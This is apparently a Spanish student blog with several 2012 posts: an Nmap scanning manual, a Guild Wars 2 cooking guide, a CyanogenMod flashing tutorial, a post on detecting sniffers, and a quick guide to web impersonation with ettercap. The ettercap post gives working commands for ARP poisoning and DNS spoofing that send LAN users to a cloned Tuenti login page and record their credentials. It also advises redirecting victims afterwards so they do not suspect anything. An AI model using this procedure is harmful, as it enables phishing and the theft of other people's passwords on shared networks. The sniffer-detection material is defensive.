Tu Puerto 80

Manual de Nmap

2012-11-06T16:46:00.001+01:00

¿Qué es Nmap?

Nmap es una herramienta que actualmente es de código abierto la cual nos permite explorar la red y realizar auditorías de seguridad. Está diseña para analizar grandes redes en muy poco tiempo aunque también se puede usar contra equipos individuales sin ningún tipo de problema. Nmap se base en la utilización de paquetes IP “crudos” (o también denominados “raw”) en diferentes formas originales para determinar los equipos que se encuentran en la red, qué servicios (nombre y versión de la aplicación) ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipos de filtros de paquetes o cortafuegos se están utilizando así como docenas de otras características.

Es la herramienta utilizada por excelencia para realizar escaneo de puertos (port scannig) pero también nos permite host discovery y fingerprinting.

Y ¿qué es esto de port scanning, host discovery y fingerprinting?

Antes de realizar cualquier tipo de ataque debemos saber una serie de “detalles” acerca del equipo(o equipos) que vamos a atacar. Para descubrir esos “detalles” utilizamos 3 fases:

1. Host discovery à Es el primer paso que debemos realizar. Nos sirve para conocer que máquinas están activas dentro de una red o subred. Lo ideal para este paso es que sea rápido y silencioso ya que si te “das a ver” en este paso lo más seguro es que no puedas seguir avanzando en los siguientes pasos de manera ideal. Desde nuestro punto de vista (el buen informático que utiliza estas herramientas para el bien y mantenerse protegido contra los hackers) esto nos sirve para comprobar si en nuestra red tenemos algún “infiltrado” que no debería estar ahí.

Por ejemplo, si vives en un edificio y tienes sospechas de que alguien te roba la wifi, mediante un host discovery, podrías descubrir si alguien ajeno a tu casa está conectado a tu red. Una vez que compruebas las máquinas activas de tu red de casa podrás conocer la IP del “infiltrado” y seguir los siguientes 2 pasos para conocer más detalles sobre él.

2. Port scanning à Una vez que conocemos las máquinas activas de la red comprobamos los puertos abiertos que tienen para así poder conocer detalles sobre las aplicaciones que están ejecutando (incluso llegando a saber la versión de dicha aplicación). La mayoría de las herramientas para realizar este paso distinguen entre puerto “open” (abierto) o “closed” (cerrado) aunque en nuestro caso al utilizar Nmap tendremos más opciones que iremos explicando más adelante.

Esto nos será útil para reducir el número de servicios que nuestras máquinas ofrecen de manera innecesaria y que, la mayoría de las veces, se convierten en una puerta de entrada muy apetitosa para los atacantes. Lo mejor para prevenirnos de estos atacantes es buscar nuestras propias vulnerabilidades para así poder arreglarlas antes de que “personas malas” consigan encontrarlas y explotarlas.

3. Fingerprinting à El último paso nos permite determinar de forma remota las aplicaciones que hay en una máquina remota, desde el Sistema Operativo que está ejecutando hasta los servicios de esa máquina.

Siguiendo con el ejemplo del vecino de antes, después de este paso, podremos saber qué sistema operativo usa el “infiltrado”, para que lo está usando, ya que puede ser que lo use para entrar en sus cosas personales o que lo use para conseguir información personal tuya, que IP tiene (lo más seguro es que también conozcamos el nombre de su máquina que en la mayoría de los caso suele seguir el patrón de “alias o nombre del infiltrado-PC”) y que puertos tiene abiertos. Con toda esta información podremos saber quién es, para que lo usa y luego cada uno actuará como crea correcto.

¿Cómo utilizamos la herramienta Nmap para realizar estos tres pasos?

En este apartado iré explicando las diferentes opciones de Nmap para cada uno de los tres pasos anteriores.

1) Utilización de Nmap para host discovery:

a) Opción –sL : Lista los equipos que hay en la red que le especificamos basándose en la IP y en la máscara. No envía paquetes de ningún tipo a los objetivos. Por defecto, realiza resolución DNS inversa en los equipos para así obtener sus nombres, que te permiten obtener información muy útil ya que la mayoría de personas suelen poner a sus ordenadores sus nombres propios o alias. Por ejemplo, una persona llamada Rosa pondría a sus portátil Rosa-Portátil y al ordenador que está en el salón PC-Salón.

En la terminal pondríamos: nmap –sL <Red especificada, en nuestro caso 192.168.1.*>

192.168.1.* te permitirá escanear todos los ordenadores de esa red para saber cuál está activo.

En mi caso, en la red está mi portátil (PC atacante), mi ordenador de mesa (la víctima) y un ordenador viejo que realiza la función de repetidor de red (no le haremos nada).

Luego de describiros la red afectada pasaremos a comentar la captura. Con este escaneo “suave” observamos que en la red solo se da a ver el ordenador repetidor por lo que de momento la única información que tenemos es que dentro de esta red existe un ordenador llamado repetidor.mshome.net y que tiene la IP 192.168.1.2.

b) El siguiente paso que vamos a dar es un escaneo de ping para confirmar si hay o no más máquinas activas en la red. Para ello utilizaremos la opción –sP de nmap. En este caso, el host discovery se realiza mediante escaneo de ping y muestra los equipos que han respondido a dicho ping. Este escaneo sí manda paquetes aunque de manera muy ligera por lo que la mayoría de las veces no es detectado. Es mucho más fiable que hacer ping a la dirección de broadcast ya que algunos equipos no responden a estos pings para así evitar ser descubiertos.

Nmap –sP 192.168.1.*

Con este escaneo descubrimos que hay más máquinas de las que vimos en el anterior escaneo. Está el router (192.168.1.1 3Com), está el repetidor descubierto antes, está el atacante (192.168.1.108) y está el atacado (192.168.1.129). Como se puede observar este escaneo también nos informa de las MAC de las máquinas activas.

c) –PN: Es un escaneo agresivo sobre todas las máquinas sin saber si están activas o no. Hay que tener mucho cuidado con el rango que se especifica.

Observamos cómo durante el escaneo alguien se ha colado en la red, tiene la IP 192.168.1.67, la MAC <> y tiene 3 puertos abiertos. Además también se puede deducir que utiliza un Windows debido a los puertos abiertos que tiene. Durante este escaneo además de ponernos el puerto y el estado del puerto también nos indica que servicio ofrece dicho puerto. Centrándonos en nuestra víctima vemos que tiene unos cuantos puertos abiertos y como dije antes utiliza como sistema operativo Windows.

d) –PS [lista de puertos]: Envía un paquete TCP vacío con el flag SYN activo. El puerto por defecto es el 80 pero podemos especificarle otros puertos que creamos oportunos. El flag SYN indica al sistema remoto que quiere establecer una conexión por lo que si el puerto destino está cerrado nos devolverá un RST y si está abierto nos responderá con un TCP SYN/ACK. En este escaneo nos da igual si los puertos están abiertos o no, lo que nos interesa de verdad es que si llega algún tipo de respuesta la máquina está “viva”.

Nmap –PS22,23,25,80 192.168.1.*

Escaneamos toda la red en los puertos más interesantes:

22->SSH

23->FTP

25->SMTP (Correo)

80->HTTP

El resultado es el mismo que con el escaneo –PN o sea que no hemos descubierto nada nuevo en este paso.

e) –PA [lista de puertos]: Similar al anterior pero esta vez con el flag ACK en lugar de SYN. El ACK indica que se han recibido datos de una conexión TCP establecida, pero realmente la conexión no existe. Los sistemas “vivos” deberían responder con RST. ¿Para qué hacer este escaneo? Muchos administradores configuran routers y FW stateless para que bloqueen paquetes SYN con el objetivo de bloquear conexiones entrantes y permitir conexiones salientes. Lo mejor es utilizar los dos escaneos para así asegurarse de que quedan todos los casos “cubiertos”.

f) –PU [lista de puertos]: Envía un paquete vacío UDP al puerto 31338 por defecto. ¿Por qué escogemos este puerto? Nos interesa que el puerto probablemente esté cerrado ya que si alcanzamos un puerto abierto, la mayoría de servicios UDP descartarán el paquete y no devolverán respuesta.

g) Existen un par de ellos más que no mencionaré ya que no tienen mayor importancia.

2) Utilización de Nmap para Port Scanning: Ahora los ataques van a pasar de ser a toda la red a ser a una máquina determinada (la víctima). En mi caso será mi PC de sobremesa con W7

a) Opción por defecto : nmap <IP víctima>

El firewall está desactivado para observar la cantidad de puertos abiertos y por los que nos podrían atacar.

b) TCP SYN (Stealth) Scan (-sS): Escaneo por defecto. Es relativamente discreto y sigiloso, ya que nunca completa las conexiones .Permite diferenciación clara y fiable entre: open, closedy filtered. Requiere privilegios "raw-packet".

Nmap –p 22,23,25,80,113,139 192.168.1.129

Ataque a los puertos arriba especificados. Vemos como esos puertos están filtrados en vez de abiertos por lo que todos el tráfico que pase por ellos estará filtrado.

Este mismo escaneo por curiosidad también se lo he hecho a mi portátil con Ubuntu.

Aquí ya observamos como en vez de estar filtrados están cerrados completamente.

c) TCP Connect Scan (-sT): Es el escaneo por defecto cuando SYN scan no se puede realizar (usuario no tiene privilegios para crear paquetes o está escaneando redes IPv6. Este escaneo tiene un problema con los puertos abiertos y es que es demasiado lento por lo que: Más tiempo, más paquetes, mayor probabilidad de que el acceso quede registrado.

d) –sU: Escaneo UDP es más lento y difícil que TCP.Se envía una cabecera UDP vacía a cada puerto objetivo. Basándose en la respuesta (o ausencia) el puerto se asigna a uno de cuatro estados

Respuesta Estado Asignado

Cualquier respuesta UDP desde el puerto objetivo (inusual) Open

Sin respuesta (incluso después de retransmisión) Open | Filtered

Error ICMP port unreachable(tipo 3, cód.3) Closed

Otros errores ICMP unreachable (tipo 3, cód.1,2,9, 10 o 13) Filtered

e) TCP ACK Scan (–sA) : No determina si un puerto está open (ni open | filtered). Se usa para averiguar las reglas de los firewalls, determinando si son stateful o no y qué puertos se filtran. El paquete de prueba tiene sólo el flagACK activo. Al escanear sistemas no filtrados, los puertos abiertos y cerrados devolverán un paquete RST. Esto significa que son alcanzables por un paquete ACK, pero no se sabe si son open o closed. Los puertos que no responden o envían ciertos mensajes de error ICMP se etiquetan como filtered.

Respuesta Estado asignado Respuesta TCP RST unfiltered

Sin respuesta (incluso después de retransmisión) filtered

Errores ICMP unreachable (tipo 3, cód. 1, 2, 3, 9,10 o 13) filtered

3) Utilización de Nmap para fingerprinting: El fingerprinting más básico es un ping normal. Fijándonos en el campo TTL podemos saber que S.O utiliza la máquina siempre y cuando no esté modificado (cosa poco probable ya que nadie lo suele hacer).

Si realizamos un ping a nuestra máquina víctima obtenemos:

Ping a la máquina víctima. Como podemos observar el ttl es 128 que es el ttl por defecto de Windows. Si el ttl es 64 es un Linux o un FreeBSD y si es 255 es un CISCO Router.

a) Utilizando nmap tenemos la opción –O (OS detection):

Observamos cómo nos dice que hay un 94% de posibilidades de que sea un Windows Vista/2008/7.

b) Si además queremos realizar un escaneo de aplicaciones con nmap tenemos la opción –sV.

En la mayoría de los casos yo recomendaría hacer tanto es escaneo con el –O como con el –sV ya que cuanto más sepamos de la máquina mejor.

Nmap es una herramienta muy potente y si os gusta trastear os recomiendo que os la bajéis, la probéis en casa y os paséis por la página oficial de nmap ya que tiene muchas cosas interesantes. Por último recordaros que la mejor manera de protegernos contra los atacantes es hacer todo esto a nuestro propio PC para comprobar por donde nos podrían entrar y buscar la mejor manera de arreglarlo o prevenirnos de dichos ataques antes de que “los malos” encuentren los “agujeros” de entrada.

P.D: Se que es un poco largo pero vale la pena leerlo con calma, entenderlo y probarlo ya que son herramientas y opciones que se pueden utilizar para gran cantidad de cosas.

Versión en PDF: https://dl.dropbox.com/u/106365019/MANUAL%20NMAP.pdf

Guild Wars 2 - Guía de Cocina

2012-10-14T16:50:00.000+02:00

Hoy os traigo una Guía para subir la artesanía de Cocina en el GW2. Después de pasarme muchas horas buscando guías o ayudas en Castellano y ver que no había absolutamente nada "bueno" me he puesto manos a la obra y me he hecho una. Todas las recetas están probadas ya que, con mucha paciencia, he ido probado todas las combinaciones que me permitían hasta el momento.
Lo primero que debéis hacer es comprar provisiones para avanzar sin ningún tipo de problema ya que a mayores de los ingredientes que recolectáis con vuestros personajes es necesario comprar unos cuántos más a vendedores específicos.
El primer vendedor que vamos a visitar es el propio Maestro de Cocina. Este nos venderá los ingredientes base de la mayoría de las recetas:

10 x Jarra de vinagre --> 80 cobres
10 x Paquete de levadura en polvo --> 80 cobres
10 x Jarras de aceite vegetal --> 80 cobres
10 x Paquetes de sal --> 80 cobres
10 x Sacos de azúcar --> 80 cobres
10 x Jarras de agua --> 80 cobres
10 x Sacos de almidón --> 80 cobres
10 x Sacos de harina --> 80 cobres
10 x Botellas de salsa de soja --> 80 cobres
Cuñas de queso a granel (Contiene 25 cuñas de queso) --> 35 puntos de Karma
Suero de leche a granel (Contiene 25 sueros de leche a granel) --> 35 puntos de Karma
Levadura a granel (Contiene 25 paquetes de levadura) --> 35 puntos de Karma
Arroz a granel (Contiene 25 bolas de arroz) --> 49 puntos de Karma
Crema agria a granel (Contiene 25 cuencos de crema agria) --> 77 puntos de Karma
Tomates a granel (Contiene 25 tomates) --> 35 puntos de Karma
Jengibre a granel (Contiene 25 raíces de jengibre) --> 77 puntos de Karma
Hojas de albahaca a granel (Contiene 25 hojas de albahaca) --> 49 puntos de Karma
Pimientos a granel (Contiene 25 pimientos) --> 49 puntos de Karma

Una vez comprados estos ingredientes los guardamos en nuestra colección y pasamos a comprar el resto de ingredientes. Estos ingredientes nos los venden algunos NPCs concretos por puntos de Karma (los rosas) luego de completar el corazón que nos proponen. En la lista los ordeno por zonas para no andar dando mucha vuelta por el mundo a lo tonto. Os indico el ingrediente que debéis comprar (vienen en bolsitas de 25 unidades), el punto de teleport más cercano y la zona dónde se encuentra acompañada del nivel recomendado.

Manzanas: Huerto - Valle de la Reina (1-17) Este mismo NPC nos vende la receta de la tarta de manzana de Eda
Semilla de nuez moscada: Huerto - Valle de la Reina (1-17)
Plátanos: Refugio de Sobrelago - Colinas Kessex (15-25)
Judías negras: Terraza de Nebo - Campos de Gendarran (25-35)
Limones: Campos de la Abundancia - Campos de Gendarran (25-35)
Comino: Campos de la Abundancia - Campos de Gendarran (25-35)
Tallos de apio: Campos de la Abundancia - Campos de Gendarran (25-35)
Cerezas: Cobijo Nocturno - Interior Harathi (35-45)
Almendras: Desembarco del Serafín - Interior Harathi (35-45)
Judías verdes: Refugio Dosespuelas - Colinas del Caminante (1-15)
Frijoles rojos: Nageling - Meseta de Diessa(15-25)
Melocotón: Apóstata - Colina del Corazón del Fuego (60-70)
Rábano Picante: Apóstata - Colina del Corazón del Fuego (60-70) (Distinto NPC que el de Melocotón)
Garbanzos: Corral de Grostogg - Fronteras de Hierro (50-60)
Peras: Aldea de Atrapaescamas - Fronteras de Hierro (50-60)
Limas: Extensión - Estepas Crestafulgurante (40-50)
Aguacates: Puertas del Halcón - Campos de la Ruina (30-40)
Coco: Promotorio del Arco - Costa Mareasangrienta (45-55)
Chalotas: Territorios Eztlitl - Cataratas de Linarbórea (50-60)
Piñones: Krongar - Cataratas de Linarbórea (50-60)
Berenjena: Juicio - Monte Vorágine (60-70)
Mango: Fuerte de la Trinidad - Estrechos de la devastación (65-75)

Luego de este paseo por el mundo voy a poner las recetas ordenadas por bloques y por niveles dentro de ese bloque.

Tintes

Condimentos

Ingredientes de Cocina

Sopas

Tentempié

Comida

Postre

Por último recordaros que existen recetas repartidas por los NPCs de los corazones las cuáles a medida que las vaya encontrando las iré añadiendo como recetas y poniendo dónde las conseguí. Faltan algunas recetas debido a la escasa aparición de ellos a la hora de recolectar y recordaros que si tenéis alguna duda/sugerencia comentad aquí o mandadme un correo en el juego (mi ID es Mery.4261 y el nombre de mi personaje principal es meryjoe). También se aceptan limosnas de recursos para poder seguir llevando a cabo esta guía y el resto que estoy preparando ( peletería, armero y cazador)

P.D: La guía también está disponible en formato PDF, el que la quiera que me la pida y le mandaré la última versión disponible.

[SGI9000] [Odin] Instalación de CyanogenMod 9-20120807-NIGHTLY para novatos

2012-10-14T00:29:00.001+02:00

Esto es un tutorial de instalación de Cyanogen Mod 9 para un Samsung Galaxy i9000.

0. Introducción:
He decidido hacer una pequeña ayuda a esa gente como yo, que no tiene ni idea de que versión poner, ni nada... Se tocará muuuuy por encima los datos importantes, obviándolos para que sea mas sencillo :)

Se que hay muchos manuales como este, pero me gustaría haber encontrado alguno con el odin y toda la pesca para alguna rom reciente (seguro que los hay pero como dije: manual para tontos :) )
Me he animado a hacerlo porque me ha parecido una rom increible y si alguien anda perdido y quiere flashear, le recomiendo esta.
Solo voy a redactar los pasos que seguí para instalarlo yo, si os explota el movil no quiero saber nada, .
Gracias a todos los que me ayudaron en la primera instalación como @Javisky o @zadock de Htcmanía , que me pasaban enlaces y cosas para no perderme :)

1. Modo Recovery y Download
El con el recovery podreis hacer "a grandes rasgos" copias de seguridad (nandroid), recuperacion de las mismas, instalacion de roms...
El download es también muy importante, mientras tengais acceso a él, "casi siempre" podrás flashear tu galaxy de nuevo en caso de fallo.
Es muy importante que lo tengais activado, si no sabeis, pasaros por este post de Lorse:
http://www.htcmania.com/showthread.php?t=154145

2. Drivers de Samsung
Tenemos que tener instalado los drivers de nuestro teléfono para poder usar las siguientes herramientas. En el fichero de descarga lo encontraréis. Instalamos los drivers

3. Odin
Es una herramienta para que podáis flashear vuestro teléfono, es muy importante que cuando lo ejecuteis lo hagais en MODO ADMINISTRADOR (clicando boton derecho, ejecutar como administrador). El odin está en el fichero de descarga.
Leí algo de que el programa de samsung "KIES" presenta problemas con odin, asique para vuestra salud y de vuestro teléfono, desinstaladlo :) (con cerrarlo vale, pero asi será mas seguro)

4. JVU Limpia
Necesitamos ponerle una base a nuestro Cyanogen, asique instalaremos una jvu con odin.
Abrimos el odin en modo administrador, y sin enchufar el teléfono le ponemos todos los ficheros como en la imagen.

PIT = s1_odin_20100512.pit
PDA = CODE_I9000XXJVU_CL851880_REV03_user_low_ship.tar.m d5
PHONE = MODEM_I9000XXJVU_REV_00_CL1092175.tar.md5
CSC = GT-I9000-CSC-MULTI-OXAJVU.tar.md5

Y marcamos en opciones las 3 primeras:
Re-Partition, Auto Reboot y F. Reset Time

Ponemos nuestro galaxy en MODO DOWNLOAD (HOME + POWER + VOL DOWN) y lo enchufamos por USB. Verémos que el odin lo reconocerá saliendo un cuadradito amarillo.
Una vez reconocido (tener paciencia no le deis a correr) le dais START, veremos como lo flashea. Se instalará, reiniciará, bla bla, entrais vosotros cuando veais el menú de bienvenida de samsung, que te pide tus datos y esas cositas. Desenchufarlo ¡y hacemos un FACTORY RESET!
Ajustes - Privacidad - Restablecer datos de Fábrica (marcáis Formatear USB) y le dais a "restablecer Teléfono".
Y así tendréis el teléfono precioso de fábrica :). Apagamos el teléfono.

5. Root
Tengamos permisos de administrador en el movil, ¿Como? cambiando el kernel al de chain fire.
Abrimos odin (como administrador, no os olvideis) y cargamos el fichero según la imagen.
PDA = CF-Root-XX_OXA_JVU_2.3.6-v4.3-CWM3RFS.tar

Y marcamos solamente 2 opciones de las primeras:
Auto Reboot y F. Reset Time

Ponemos el movil en MODO DOWNLOAD (HOME + POWER + VOL DOWN), lo enchufamos por USB y cuando el odin lo reconozca (cuadradito amarillo) le damos a START.

Veremos que cambia y kernel y se reiniciará solo igual que antes.

6. Instalar CyanogenMod 9 (rom cocinada)
Hasta aquí tendréis un movil perfectamente funcional, pero al menos yo recomiendo probar cocinadas, si no os gustan, siempre podeis repetir el manual y parar aquí :)

Conectamos el teléfono encendido al ordenador y copiamos los 2 ficheros llamados:
cm-9-20120807-NIGHTLY-galaxysmtd.zip
gapps-ics-20120429-signed.zip

Los podemos copiar donde queramos, yo cree una carpeta llamada "instalar" en la sd del teléfono.

Apagamos e iniciamos el RECOVERY con el combo de botones (HOME + POWER + VOL UP).
Para movernos por el menú, usaremos las teclas de VOL UP y VOL DOWN, y para seleccionar la tecla de HOME.
Buscamos una opcion que dice "Install ZIP from SDCARD", la seleccionamos y después escogemos "chose ZIP from SDCARD"

Nos aparecerán los ficheros de nuestra SD, buscamos los ficheros que copiamos antes y escogemos cm-9-20120807-NIGHTLY-galaxysmtd.zip para instalar. Bajamos hasta el SI.
Se instalará todo, y cuando termine (es decir tengas control sobre el teléfono) completais con vuestros datos y volveis a iniciar recovery.
Vereis 2 opciones en el recovery que pone WIPE al principio. Ejecutais los 2.
Cuando termine, os moveis hasta "Install ZIP from SDCARD" y luego "chose ZIP from SDCARD" e instalais el otro fichero que copiasteis: gapps-ics-20120429-signed.zip

FIN, escogeis reboot now y a disfrutar de vuestro pepinomovil :)

7. Nota
Los ficheros usados son de agosto, si quieres unos mas actualizados, el proceso es el mismo, te bajas los que mas te gusten de la página oficial ¡y adelante! Ahora mismo yo llevo esta rom y va de miedo :)
Por cierto hice copy paste del post que hice el mes pasado en htcmanía, pasaros por ahí, tienen miles de cosas superinteresantes.

*. Descargas
https://www.wuala.com/leegaara/Compa...?key=susohuele

Detección de Sniffers

2012-10-12T19:46:00.001+02:00

Antes de empezar hay que aclarar algunos términos y procedimientos básicos.

SNIFFER
Un sniffer es un software que permite capturar tramas de nuestra red, esto puede ser muy útil para saber que está pasando en la red pero también puede ser muy peligroso; imagina que capturamos tráfico del login de una web, si leemos esos paquetes podrían contener la clave sin encriptar :(

Hay 2 soluciones:
- Protección
- Detección

En esta entrada nos dedicaremos a la detección. Para la protección lo que mejor me parece mi es trabajar a través de una vpn (Por ejemplo openvpn)

Cuando una máquina adquiere la capacidad de, leer, añadir y modificar paquetes se dice que está haciendo un MitM (Man in the Middle), el peligro no solo es que lea paquetes, si no que podría cambiarlos y ni el emisor ni el receptor se enterarían de que hubo un cambio.

ARP
Para enviar un paquete IP de una máquina a otra a través de una red Ethernet, lo que se hace es volver a empaquetar el "paquete IP" dentro de una trama Ethernet, pero necesitamos la MAC del equipo destino para establecer la comunicación. ¿Cómo la obtenemos? Usando ARP.
Usa 2 tipos de mensajes comúnmente conocidos como ARP Request y ARP Replay. Va a ser una pregunta por la MAC y su correspondiente respuesta. Pongamos un ejemplo de ARP Request y Replay, cuando una maquina A se quiere comunicar con B.

1. La máquina A crea un paquete con los siguientes campos:
- Direccion IP
- Direccion MAC
- Direccion IP de B
- Campo Vacío para que B rellene con su MAC
Envía el ARP Request a la dirección de broadcast y todas las máquinas de la red recibirán el paquete pero lo descartarán menos la máquina B. Cogerá el paquete y hará los siguientes cambios:
- Intercambia las direcciones de Origen y Destino
- Cambia el tipo de mensaje de ARP Request por ARP Replay.
- Rellena el campo vacío con su MAC (la que queriamos conocer)
Y devuelve el paquete; así el equipo A, tendrá la MAC necesaria para establecer una comunicación.

Modo promiscuo
Si una máquina pone su interfaz de red en modo promiscuo, significa que la interfaz podrá leer todo el tráfico que circule por la red, no solo el suyo. Antes cuando un paquete no iba dirigido a una máquina, esta lo desechaba, pero con el modo promiscuo lo puede leer aunque no sea suyo.

Detectando cambios es nuestra tabla ARP
Si algún software hizo algún cambio en nuestra tabla ARP (donde se escribe las MACs de las comunicaciones para no enviar tantos ARP Request), por ejemplo a través de ARP Replay diciéndonos que la dirección MAC de quien queremos entablar una conexión es OTRO EQUIPO (normalmente ese otro equipo será donde esté el sniffer), lo descubriremos fácilmente mirando la tabla; ejecutamos en nuestro terminal:
>> arp -a
Veremos las entradas de la tabla, si vemos alguna relación "IP - MAC" cuya MAC sea la misma que la del gateway habremos descubierto que ip nos está fastidiando.
Por ejemplo, en mi red tengo un repetidor (192.168.1.2) de un equipo router (192.168.1.1) que reparte internet.
Y sospecho que hay algún sniffer, miro mi tabla arp y veo lo siguiente:

Vemos que hay una IP (192.168.1.129) que tiene la misma MAC que el repetidor. (Coincide tambien con el router porque hace una redirección, no viene al caso)
Tenemos a nuestro intruso 192.168.1.129

Detectando interfaces en modo promiscuo en nuestra Red
Como bien vimos, si hay alguna máquina en nuestra red con su interfaz en modo promiscuo, podrá "leer" todos los paquetes aunque no vayan dirigidos a ella.
Lo más normal en los detectores es hacer que estas máquinas se delaten a si mismas enviando paquetes que no son dirigidos a nadie y contesten ellas; conocido como Test ARP.

Hay varios métodos de detección los mas conocidos son:
-Ifconfig. Sirve para mirar a nivel local, si nuestro interfaz de red está en modo promiscuo.
-Test ARP. Son los que vimos en el apartado anterior.
-Test de Ping. Consiste en enviar un paquete ICMP echo a una máquina sospechosa, con la ip correcta, pero la MAC incorrecta, en general la máquina debería desechar este paquete por ser inválido, pero si está en modo promiscuo nos contestará.
-Test ICMP. (Test de Ping de latencia). Consiste en hacer un ping a la máquina sospechosa, y apuntamos su RTT, (la latencia). Bombardeamos a pings a la red en un espacio corto de tiempo y le enviamos un ping único a la máquina sospechosa para comprobar lo que tarda en responder; mediante una comparación con el ping principal sabremos si está cargando con todo el tráfico. Esto no suele funcionar pues se suele desactivar la paqueteria ICMP.
-Detectores de intrusiones (IDS). Es un software que hace de una especie de sniffer dentro de tu red, monitorizando el tráfico. Mediante una serie de reglas es capaz de detectar y proteger de un sniffer en la red. Suele llevar una gran carga (hace todo muy lento) si se hace que el tráfico pase por él entre comunicación y comunicación. Lo óptimo es colocar un hub que repita todas las tramas hacia una salida donde esté el IDS, y así no provoca ningún retardo. Un IDS muy conocido es el SNORT, no es aconsejable para un usuario medio, pues tiene muchísimas reglas para configurar.

Para terminar explicaré un par de herramientas que me parecieron supersencillas:
-NEPED:
Es un programita muy pequeño de un fichero programado en c. Lo único que hace es enviar una peticion ARP a una direccion que no existe, (ojo, no al broadcast) y contestará la máquina que esté en modo promiscuo con un ARP Replay diciendo: "¡Hola mi MAC es tal y mi IP pascual! ¡QUIÉREME!"
No me parece necesario hacer una demostración con ella pues es muy sencillita, te la bajas el código de aquí y la compilas y la ejecutas pasandole tu interfaz de red:
>> gcc neped.c -o neped
>> sudo ./neped wlan0

-NAST:
El nast es un sniffer que incluyo en la presentación porque dispone de la capacidad de descubrir máquinas en modo promiscuo.
>> sudo apt-get install nast
>> sudo nast -P 192.168.1.* -i wlan0
Explico las opciones:
-P <ip> IP a comprobar
-i <interfaz> Interfaz de la tarjeta de red
Te imprimirá por pantalla la ip que está en escuchando

Guía Rápida: Suplantación web con ettercap para Linux

2012-10-12T14:21:00.001+02:00

Hice una pequeña guía para introducir el ettercap.
Podrás suplantar una web creando una página principal rápidamente y colocando en el login y pass una función que escriba en tu equipo.

Guía Rápida: Suplantación web con ettercap para Linux

Con el siguiente tutorial conseguiremos redirigir el tráfico de nuestra LAN destinado a una web, contra un servidor web local en nuestras máquinas.

Material Necesario:

Ettercap

Apache

Paso 1: Instalar Herramientas.

Instalamos Apache y ettercap

>> sudo apt-get install apache2

>> sudo apt-get install ettercap-text-only

Paso 2: Crear una web

Hacemos un index.html parecida a la que queremos suplantar y la guardamos en /var/www

Yo he escogido tuenti. Por lo tanto hice una web parecida a esta.

Al entrar en nuestro navegador a localhost veremos lo siguiente:

Paso 3: Redirección del tráfico hacia nuestro servidor.

Abrimos con nuestro editor favorito el fichero de configuracion del plugin dns_spoof del ettercap.

>> nano /usr/share/ettercap/etter.dns

Y añadimos la regla para redirigir el tráfico.

-------------------------------------------------------------

tuenti.* A 192.168.1.232

-------------------------------------------------------------

Siendo Tuenti la web a filtrar y 192.168.1.232 el servidor del apache.

Quedaría así:

Lanzamos nuestro Ettercap para que capture todo el tráfico de la LAN y cuando encuentre una petición dns para resolver “tuenti.com” nosotros le contestaremos con la IP falsa.

>> ettercap -T -q -P dns_spoof -M arp // // -i wlan0

Explico las opciones:

-T Modo texto. Sin interfaz gráfica.

-q Super quiet. No te imprime los paquetes que encuentra

-P <plugin> Plugin. Carga el plugin del dns_spoof

-M Arp Poisoning. Va a hacer creer a las máquinas de la LAN que el tráfico tiene que pasar por nosotros, diciéndoles que el destino somos nosotros, y para su destino el origen seremos nosotros también. Así haremos un “man in the middle”.

// // Targets. Son los 2 target para el spoofing, dentro de las barras se podrían poner ips o redes, por ejemplo /192.168.1.2/ /192.168.1.1/ y así limitariamos el tráfico spoof solo a 2 equipos.

-i <interfaz> Interfaz. Es la interfaz de red escogida para el spoof

Una vez lanzado solo quedará esperar que la dentro de la LAN alguien intente entrar en la web, será redirigido y entrará en nuestro servidor, ahi logueará ¡¡y sus credenciales se escribirán en nuestro equipo!! Una vez loguee estaría bien que lo mandarais a la web original con 1 error y volvería a loguear. Así no sospecharía tanto que si le dejáis colgado en una web que logueó.

Presentación

2012-10-12T13:37:00.001+02:00

Bienvenido hijo, te he echado de menos. ¿Han empezado ya a montar el campamento? ...
Ahora enserio, nos presentamos. Somos Mery y Lee, dos estudiantes de Informática de A Coruña. Hemos creado este blog para ayudaros y guiaros en el mundillo de la informática (o por lo menos intentarlo). Poco a poco iremos colgando tutoriales caseros de las herramientas que todo informático debe conocer y creando entradas de cosas curiosas que nos encontraremos en nuestro día a día. También, si os animáis, colgaremos tutoriales de herramientas que vosotros nos pidáis o recomendéis.
Nuestro tema principal será la informática aunque a veces también hablaremos de videojuegos interesantes, colgaremos guías y tutoriales de como realizar determinadas cosas que suponen un reto o dificultad a la hora de jugar y alguna que otra vez recomendaremos algún anime o manga que nos parezca interesante.
Por último daros las gracias por leer nuestro blog y esperamos que os resulte una lectura amena e interesante que podréis recomendar a todos vuestros conocidos interesados en el tema.